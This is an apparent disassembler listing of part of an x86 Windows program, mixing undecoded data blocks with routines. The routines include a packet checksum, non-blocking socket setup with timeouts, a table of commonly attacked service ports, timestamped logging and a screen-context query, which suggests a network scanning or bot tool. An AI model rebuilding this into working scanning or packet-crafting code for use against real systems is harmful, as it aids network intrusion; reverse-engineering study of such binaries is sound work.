		dd 45C6A45Dh, 15FF06A5h, 4CB644h, 0A6458966h, 6A9C458Dh
		dd 858D5020h, 0FFFFFF60h, 8146E850h, 458D0000h,	50146AE8h
		dd 5080458Dh, 8137E8h, 60858D00h, 6AFFFFFFh, 82E85034h
		dd 66FFFF6Ah, 8DF84589h, 146AD445h, 60858D50h, 50FFFFFFh
		dd 8113E8h, 0E8458D00h,	8D50146Ah, 0FFFF7485h, 1E850FFh
		dd 6A000081h, 88458D04h, 75E85053h, 83000073h, 858D44C4h
		dd 0FFFFFF60h, 0E850286Ah, 0FFFF6A3Dh, 0DE458966h, 6AD4458Dh
		dd 858D5014h, 0FFFFFF60h, 80CEE850h, 0C4830000h, 0BC458D14h
		dd 5350106Ah, 0FF60858Dh, 3C6AFFFFh, 0FC75FF50h, 0B6A815FFh
		dd 0F883004Ch, 0FF0874FFh, 0BAE90845h, 0FFFFFFFDh, 15FFFC75h
		dd 4CB6DCh, 0B5D815FFh,	8D50004Ch, 0FFFDC485h, 875FFFFh
		dd 64BC6850h, 858D0043h, 0FFFFFBC0h, 20068h, 0E5E85000h
		dd 83000076h, 9D3918C4h, 0FFFFFF58h, 8D532375h,	0FFFBC085h
		dd 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h
		dd 57ADE8FFh, 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 0ED8E8h
		dd 44B5FF00h, 0E8FFFFFFh, 0FFFF7133h, 90535959h, 2EC840E8h
		dd 0FC75FF02h, 0B6DC15FFh, 458B004Ch, 6BD23308h, 0C88B3CC0h
		dd 0F70AE8C1h, 0FFFF4CB5h, 14E9C1FFh, 858D5051h, 0FFFFFDC4h
		dd 500875FFh, 0FE44858Dh, 8D50FFFFh, 0FFFBC085h, 646C68FFh
		dd 0E8500043h, 755Ah, 391CC483h, 0FFFF589Dh, 532375FFh
		dd 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h, 50FFFFFEh
		dd 0FDC0B5FFh, 1CE8FFFFh, 83FFFF57h, 858D14C4h,	0FFFFFBC0h
		dd 0E47E850h, 0B5FF0000h, 0FFFFFF44h, 0FF70A2E8h, 535959FFh
		dd 0C7AFE890h
		db 2Eh,	2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4143A6
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414398:				; CODE XREF: ___:004143A0j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414398
		pop	edi
		cmp	eax, 1


loc_4143A6:				; CODE XREF: ___:0041438Cj
		jnz	short loc_4143B3
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_4143B3:				; CODE XREF: ___:loc_4143A6j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
dword_4143CC	dd 81EC8B55h, 394ECh, 8458B00h,	656A5756h, 8DF08B59h, 0FFFE6CBDh
					; DATA XREF: sub_401ACD+6D4Ao
		dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 737CE8h
		dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4CB684h, 6CB58D50h
		dd 81FFFFFEh, 194ECh, 59656A00h, 0A5F3FC8Bh, 5FE8h, 9CC48100h
		dd 50000001h, 0FC6C858Dh, 9868FFFFh, 50004365h,	7449E8h
		dd 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh, 0FFFF560Fh
		dd 8D14C483h, 0FFFC6C85h, 3AE850FFh, 0FF00000Dh, 98E8F075h
		dd 59FFFF6Fh, 0E8905659h, 22EC6A5h, 81EC8B55h, 0CCECh
		dd 8B565300h, 4270A835h, 57DB3300h, 0FFFC5D89h,	0FF68D6h
		dd 36A0000h, 4589026Ah,	0C415FFF0h, 89004CB6h, 0D6FFF845h
		dd 741EE850h, 0BF590000h, 578h,	6A096A57h, 41BBE801h, 59590000h
		dd 0D8458D50h, 70BAE850h, 0C4830000h, 5A0BE0Ch,	0E0E80000h
		dd 900229C2h, 33F0452Bh, 3E8B9D2h, 0F1F70000h, 1A0853Bh
		dd 870F0000h, 1C2h, 0EDF81D39h,	5975004Ch, 8958106Ah, 8D50EC45h
		dd 50539845h, 707BE8h, 0CC48300h, 50EC458Dh, 5098458Dh
		dd 0FF0875FFh, 4CB5E815h, 0FF6800h, 16A0000h, 4150E8h
		dd 50595900h, 9E45B60Fh, 45B60F50h, 0B60F509Dh,	8D509C45h
		dd 0FFFF3485h, 0DC5C68FFh, 0E8500042h, 732Eh, 0EB18C483h
		dd 34858D13h, 68FFFFFFh, 4CE7D8h, 7942E850h, 59590000h
		dd 0FF34858Dh, 0FF50FFFFh, 4CB68415h, 0F4458900h, 24A8458Bh
		dd 450C5645h, 10AC45C6h, 0FFA84589h, 4CB64415h,	45896600h
		dd 7344E8AEh, 89660000h, 458BB045h, 0B84589F4h,	19C858Bh
		dd 0C7660000h, 40B245h,	40B445C6h, 6B545C6h, 0B65D8966h
		dd 0E8BC4589h, 731Ah, 0C0458966h, 7311E8h, 45896600h, 7308E8C2h
		dd 45890000h, 7300E8C4h, 45890000h, 0CC458BC8h,	0FF502566h
		dd 500C146Ah, 18CE45C6h, 0CC458966h, 0C2458B66h, 8A458966h
		dd 89BC458Bh, 458D8C45h, 0C76650A8h, 787DD045h,	0D25D8966h
		dd 0D45D8966h, 8845C766h, 57E80002h, 66FFFFFDh,	8DB64589h
		dd 286AA845h, 0FD48E850h, 458BFFFFh, 10C483B8h,	0FF548589h
		dd 458BFFFFh, 58C68BCh,	85890000h, 0FFFFFF58h, 0FF5C9D88h
		dd 85C6FFFFh, 0FFFFFF5Dh, 0D0E8E806h, 66907169h, 0FF5E8589h
		dd 858DFFFFh, 0FFFFFF60h, 8D50146Ah, 0E850C045h, 7C98h
		dd 0FF74858Dh, 5057FFFFh, 50D8458Dh, 7C87E8h, 54858D00h
		dd 68FFFFFFh, 598h, 0FCE0E850h,	0C483FFFFh, 45896620h
		dd 8D106AD2h, 53508845h, 56A8458Dh, 0F875FF50h,	0B6A815FFh
		dd 45FF004Ch, 0FE20E9FCh, 75FFFFFFh, 0DC15FFF8h, 8B004CB6h
		dd 5E5FFC45h
; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_4146CF	db 55h			; DATA XREF: sub_401ACD+4CC0o
		dd 0EC81EC8Bh, 414h, 5608558Bh,	85B8h, 0C88B5700h, 0BD8DF28Bh
		dd 0FFFFFDECh, 214EC81h, 0A5F30000h, 0B58DC88Bh, 0FFFFFDECh
		dd 82C7FC8Bh, 210h, 1, 37E8A5F3h, 81000000h, 214C4h, 858D5000h
		dd 0FFFFFBECh, 4365CC68h, 5FE85000h, 8D000071h,	0FFFBEC85h
		dd 7AE850FFh, 0FF00000Ah, 0D8E8F075h, 83FFFF6Ch, 6A14C4h
		dd 0C3E3E890h, 8B55022Eh, 54EC81ECh, 53000002h,	0FFBB56h
		dd 53570000h, 26A036Ah,	0B6C415FFh, 0F883004Ch,	0F44589FFh
		dd 858D1A75h, 0FFFFFDACh, 4367BC68h, 0BE85000h,	59000071h
		dd 0E959FF33h, 2C9h, 6AEC4D8Dh,	0FF335104h, 5057026Ah
		dd 1EC45C7h, 0FF000000h, 4CB62415h, 0FFF88300h,	15FF0E75h
		dd 4CB5D8h, 676C6850h, 1BEB0043h, 500C458Dh, 0B68415FFh
		dd 0F883004Ch, 0FF2075FFh, 4CB5D815h, 28685000h, 8D004367h
		dd 0FFFDAC85h, 0AFE850FFh, 83000070h, 6EE90CC4h, 57000002h
		dd 0DC45C766h, 15FF0002h, 4CB644h, 0DE458966h, 500C458Dh
		dd 0CAFEE890h, 358B7169h, 4270A8h, 0FFE04589h, 0F84589D6h
		dd 500C458Dh, 0FDAC858Dh, 0FC68FFFFh, 50004366h, 7069E8h
		dd 0CC48300h, 214BD39h,	20750000h, 0AC858D57h, 0FFFFFFFDh
		dd 210B5h, 858D5000h, 18Ch, 875FF50h, 0FF522EE8h, 14C483FFh
		dd 0FFFC7D89h, 0F8452BD6h, 0E8B9D233h, 0F7000003h, 8DF08BF1h
		dd 10C85h, 12E85000h, 3B00006Fh, 870F59F0h, 193h, 41CBEh
		dd 0BB05EB00h, 0FFh, 0EDF83D39h, 5275004Ch, 8958106Ah
		dd 8D50F045h, 5057CC45h, 6CFBE8h, 0CC48300h, 50F0458Dh
		dd 50CC458Dh, 0FF0875FFh, 4CB5E815h, 16A5300h, 3DD4E8h
		dd 50595900h, 0D245B60Fh, 45B60F50h, 0B60F50D1h, 8D50D045h
		dd 5C68AC45h, 500042DCh, 6FB5E8h, 18C48300h, 458D10EBh
		dd 0E7D868ACh, 0E850004Ch, 75CCh, 0C6565959h, 4CE9D805h
		dd 15FF4500h, 4CB644h, 0E9DAA366h, 458D004Ch, 0C76650ACh
		dd 4CE9DC05h, 66000100h, 0E9DE3D89h, 5C6004Ch, 4CE9E0h
		dd 0E105C680h, 11004CE9h, 0E23D8966h, 0FF004CE9h, 4CB68415h
		dd 0E9E4A300h, 458B004Ch, 0E9E8A3E0h, 858D004Ch, 8Ch, 3D896650h
		dd 4CE9F2h, 6E30E8h, 59C08500h,	8FE81075h, 9900006Fh, 401B9h
		dd 52F9F700h, 858D0EEBh, 8Ch, 6E0FE850h, 50590000h, 0B64415FFh
		dd 0A366004Ch, 4CE9EEh,	6F65E8h, 1B99900h, 68000004h, 408h
		dd 8966F9F7h, 4CE9EC15h, 4415FF00h, 68004CB6h, 400h, 0E9F0A366h
		dd 3BE8004Ch, 9900006Fh, 6852FBF7h, 4CE9F4h, 6BDBE8h, 0CC48300h
		dd 6ADC458Dh, 56575010h, 4CE9D868h, 0F475FF00h,	0B6A815FFh
		dd 0F883004Ch, 0A5840FFFh, 0FF000000h, 0E890FC45h, 229BDE3h
		dd 33F8452Bh, 3E8B9D2h,	0F1F70000h, 858DD88Bh, 10Ch, 6D7FE850h
		dd 0D83B0000h, 74860F59h, 0FFFFFFFEh, 15FFF475h, 4CB6DCh
		dd 8DFC758Bh, 10C85h, 0F6695000h, 41Ch,	6D58E8h, 0D2335900h
		dd 0C68BC88Bh, 0F70AE8C1h, 14EEC1F1h, 75FF5650h, 0C458DFCh
		dd 66986850h, 858D0043h, 0FFFFFDACh, 6E3CE850h,	0C4830000h
		dd 14BD3918h, 75000002h, 858D5720h, 0FFFFFDACh,	210B5FFh
		dd 8D500000h, 18C85h, 75FF5000h, 5001E808h, 0C483FFFFh
		dd 335E5F14h, 0C3C95BC0h, 56FC75FFh, 0B5D815FFh, 8D50004Ch
		dd 68500C45h, 43660Ch
		db 0EBh, 0ACh
word_414A92	dw 8B55h		; DATA XREF: sub_401ACD+6362o
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 6CB4E8h
		dd 8D505900h, 0FFFE7085h, 0A6E850FFh, 5900006Ch, 0F0858D50h
		dd 50FFFFFDh, 0B68415FFh, 0E850004Ch, 147h, 500CC483h
		dd 0FBEC858Dh, 0E868FFFFh, 50004367h, 6D89E8h, 83F63300h
		dd 75390CC4h, 562075F8h, 0FBEC858Dh, 75FFFFFFh,	858D50F4h
		dd 0FFFFFF70h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF4F4Fh, 8D14C483h
		dd 0FFFBEC85h, 7AE850FFh, 0FF000006h, 0D8E8F075h, 59FFFF68h
		dd 0E8905659h, 22EBFE5h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_414B6F
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_414C2B
; ---------------------------------------------------------------------------


loc_414B6F:				; CODE XREF: ___:00414B59j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CB5EC
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CB62C
		test	eax, eax
		jnz	short loc_414BD3
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2B
; ---------------------------------------------------------------------------


loc_414BD3:				; CODE XREF: ___:00414BCCj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDE


loc_414BDA:				; CODE XREF: ___:00414BFEj
					; ___:00414C22j
		mov	eax, edi
		jmp	short loc_414C2B
; ---------------------------------------------------------------------------


loc_414BDE:				; CODE XREF: ___:00414BD8j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_414C00
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_414BDA


loc_414C00:				; CODE XREF: ___:00414BEDj
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	near ptr 71AB4122h
		nop
		cmp	eax, edi
		jz	short loc_414BDA
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_414C2B:				; CODE XREF: ___:00414B6Aj
					; ___:00414BD1j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		db 55h
		dd 0EC81EC8Bh, 10Ch, 6A575653h,	0DB335801h, 68535350h
		dd 0FFh, 26A036Ah, 90EC4589h, 6A0DACE8h, 0EC4D8D71h, 6A51046Ah
		dd 0A3505302h, 4CEE68h,	0B62415FFh, 358B004Ch, 4270A8h
		dd 0E850D6FFh, 6C60h, 6AC03359h, 0BD8D19h, 59FFFFFFh, 0FEF49D89h
		dd 4D89FFFFh, 0F89D8984h, 89FFFFFEh, 0FFFEFC9Dh, 7485C7FFh
		dd 1FFFFFFh, 0C7000004h, 0FFFF7885h, 15FFh, 7C85C700h
		dd 16FFFFFFh, 0C7000000h, 178045h, 45C70000h, 3588h, 8C45C700h
		dd 50h,	519045C7h, 0C7000000h, 589445h,	45C70000h, 6E98h
		dd 9C45C700h, 71h, 77A045C7h, 0C7000000h, 87A445h, 45C70000h
		dd 89A8h, 0AC45C700h, 8Bh, 8FB045C7h, 0C7000000h, 1BBB445h
		dd 45C70000h, 1BDB8h, 0BC45C700h, 400h,	99C045C7h, 0C7000005h
		dd 5DCC445h, 45C70000h,	6B8C8h,	0CC45C700h, 0CEAh, 3DD045C7h
		dd 0C700000Dh, 1388D445h, 45C70000h, 1A0BD8h, 0DC45C700h
		dd 1F40h, 90E045C7h, 0F300001Fh, 0F05D89ABh, 3E445C7h
		dd 0C7000000h, 0BB8E845h, 5D890000h, 8458BFCh, 6485C766h
		dd 2FFFFFFh, 68858900h,	8BFFFFFFh, 0BC8DFC45h, 0FFFF7405h
		dd 848B66FFh, 0FFFF7405h, 15FF50FFh, 4CB644h, 6A016A53h
		dd 85896602h, 0FFFFFF66h, 0B6C415FFh, 4D8D004Ch, 0F44589E4h
		dd 648D8D51h, 6AFFFFFFh, 0E8505110h, 0FFFFFD7Eh, 8910C483h
		dd 75FFF845h, 0DC15FFF4h, 39004CB6h, 0C75F85Dh,	8BFC4D8Bh
		dd 0D848907h, 0FFFFFEF4h, 4FC4583h, 70FC7D83h, 6CBF837Ch
		dd 68004CEEh, 42D118h, 6A84E857h, 59590000h, 4589D6FFh
		dd 0F4858DF4h, 89FFFFFEh, 4589FC5Dh, 2BD6FFF8h,	0D233F445h
		dd 3E8B9h, 3BF1F700h, 45770C45h, 8BF8458Bh, 74C33B00h
		dd 68575015h, 436814h, 0F0458957h, 6A45E8h, 10C48300h
		dd 0FF681AEBh, 530000FFh, 3834E8h, 50595900h, 0B64415FFh
		dd 0B70F004Ch, 0F04589C0h, 83FC45FFh, 8304F845h, 7C1CFC7Dh
		dd 53286AA8h, 4CEE0868h, 6716E800h, 0FFBE0000h,	0C60000FFh
		dd 4CEE0805h, 68564500h, 400h, 0EE1105C6h, 0C606004Ch
		dd 4CEE0905h, 0E6E80800h, 83000037h, 0FF5014C4h, 4CB64415h
		dd 66286A00h, 4CEE0CA3h, 4415FF00h, 80004CB6h, 4CEE100Dh
		dd 1D39FF00h, 4CEDF8h, 0EE0AA366h, 8966004Ch, 4CEE0E1Dh
		dd 681A7500h, 0FFFEh, 0A6E8016Ah, 59000037h, 84D8B59h
		dd 2310E0C1h, 0EBC10BCEh, 0E7D8680Bh, 15FF004Ch, 4CB684h
		dd 4CEE14A3h, 8458B00h,	400068h, 0EE18A300h, 1D88004Ch
		dd 4CEE29h, 0B64415FFh,	5356004Ch, 0EE2AA366h, 62E8004Ch
		dd 8B000037h, 0C15356F8h, 56E808E7h, 83000037h,	0F80310C4h
		dd 4015FF57h, 0A3004CB6h, 4CEE20h, 4CEE28A0h, 87D8B00h
		dd 500C0F24h, 28A2146Ah, 66004CEEh, 89F0458Bh, 4CEE241Dh
		dd 1D896600h, 4CEE2Eh, 0EE1EA366h, 3D89004Ch, 4CEE44h
		dd 0EE481D88h, 5C6004Ch, 4CEE49h, 4415FF06h, 66004CB6h
		dd 4CEE4AA3h, 1EA16600h, 66004CEEh, 0EE3005C7h,	2004Ch
		dd 0EE343D89h, 0A366004Ch, 4CEE32h, 0EBFC5D89h,	0FFFFBE05h
		dd 5D390000h, 562F75FCh, 36CBE853h, 59590000h, 4415FF50h
		dd 66004CB6h, 4CEE1CA3h, 0EE14A100h, 40A3004Ch,	0C6004CEEh
		dd 4CEE2905h, 1D890200h, 4CEE24h, 53561FEBh, 0EE2905C6h
		dd 0E810004Ch, 3695h, 0FF505959h, 4CB64415h, 0C0B70F00h
		dd 4CEE24A3h, 5FF6600h,	4CEE0Ch, 0EE2005FFh, 0A166004Ch
		dd 4CEE1Eh, 0BE59056Ah,	4CEE1Ch, 4CEE4CBFh, 1D896600h
		dd 4CEE12h, 2C1D8966h, 6A004CEEh, 0BEA5F314h, 4CEE08h
		dd 0EE32A366h, 0E856004Ch, 0FFFF5C25h, 4068206Ah, 66004CEEh
		dd 4CEE12A3h, 5C13E800h, 0C483FFFFh, 2CA36610h,	6A004CEEh
		dd 0EE306810h, 6A53004Ch, 35FF5628h, 4CEE68h, 0B6A815FFh
		dd 45FF004Ch, 0FC7D81FCh, 3FFh,	0FF238C0Fh, 38E8FFFFh
		dd 900229B7h, 33F4452Bh, 3E8B9D2h, 0F1F70000h, 770C453Bh
		dd 1075FF0Eh, 0BEBDE890h, 0C2E90227h, 5FFFFFFDh, 0EE6CB85Eh
		dd 0C95B004Ch
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B5	proc near		; CODE XREF: sub_401ACD+7200p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43D800
		mov	edi, 0B8h


loc_4150C9:				; CODE XREF: sub_4150B5+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EC
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EC
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43E380
		jl	short loc_4150C9
		jmp	short loc_41512E
; ---------------------------------------------------------------------------


loc_4150EC:				; CODE XREF: sub_4150B5+17j
					; sub_4150B5+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43D800[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_43D818[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_4294C4
		pop	ebx


loc_41512E:				; CODE XREF: sub_4150B5+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415135	proc near		; CODE XREF: sub_401ACD+28DEp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_436830
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43D800


loc_41515F:				; CODE XREF: sub_415135+72j
		cmp	byte ptr [esi],	0
		jz	short loc_41519A
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_43681C
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 2Ch


loc_41519A:				; CODE XREF: sub_415135+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43E380
		jl	short loc_41515F
		pop	edi
		pop	esi
		leave
		retn
sub_415135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AD	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 27C016Fh
		mov	ebx, offset dword_4D326C
		mov	edi, 80h
		mov	esi, offset dword_4CF26C


loc_4151CF:				; CODE XREF: sub_4151AD+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E6
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4151E6:				; CODE XREF: sub_4151AD+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CF
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415221	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AD
		add	esp, 14h
		leave
		retn
sub_415221	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524D	proc near		; CODE XREF: sub_401ACD+27D5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CF26C
		xor	ecx, ecx


loc_415254:				; CODE XREF: sub_41524D+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D326C
		jl	short loc_415254
		cmp	[esp+arg_C], ecx
		jnz	short loc_415282
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_43687C
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_415282:				; CODE XREF: sub_41524D+19j
		push	offset dword_436868
		call	sub_4151AD
		pop	ecx
		retn
sub_41524D	endp

; ---------------------------------------------------------------------------
word_41528E	dw 8B55h		; DATA XREF: sub_401ACD+2888o
		dd 1CEC81ECh, 8B000003h, 57560845h, 8B59456Ah, 0E4BD8DF0h
		dd 6AFFFFFEh, 33A5F301h, 55395FD2h, 0F845C7F0h,	80h, 89FC5589h
		dd 110B8h, 521E7500h, 0FEE8858Dh, 75FFFFFFh, 68AC68ECh
		dd 0FF500043h, 0FFFEE4B5h, 4795E8FFh, 0C483FFFFh, 68BD8014h
		dd 0FFFFFFh, 858D1774h,	0FFFFFF68h, 6483E850h, 0C0850000h
		dd 0FC458959h, 45890374h, 86583F8h, 0F26CBE00h
		db 4Ch,	0
; ---------------------------------------------------------------------------


loc_41530A:				; CODE XREF: ___:00415362j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415364
		cmp	byte ptr [esi],	0
		jz	short loc_415353
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415339
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415339
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418087
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415353


loc_415339:				; CODE XREF: ___:0041531Ej
					; ___:00415324j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A73
		add	esp, 14h


loc_415353:				; CODE XREF: ___:00415315j
					; ___:00415337j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D326C
		jl	short loc_41530A


loc_415364:				; CODE XREF: ___:00415310j
		lea	eax, [ebp-31Ch]
		push	offset dword_436890
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41539E
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A73
		add	esp, 14h


loc_41539E:				; CODE XREF: ___:0041537Cj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-18h]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		dw 6EE8h
; ---------------------------------------------------------------------------
		mov	bh, 2Eh
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BD	proc near		; CODE XREF: sub_401ACD+7350p

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4CB630
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4155F1
		push	8
		push	edi
		call	dword_4CB64C
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4CB64C
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CB64C
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541F
		push	18h
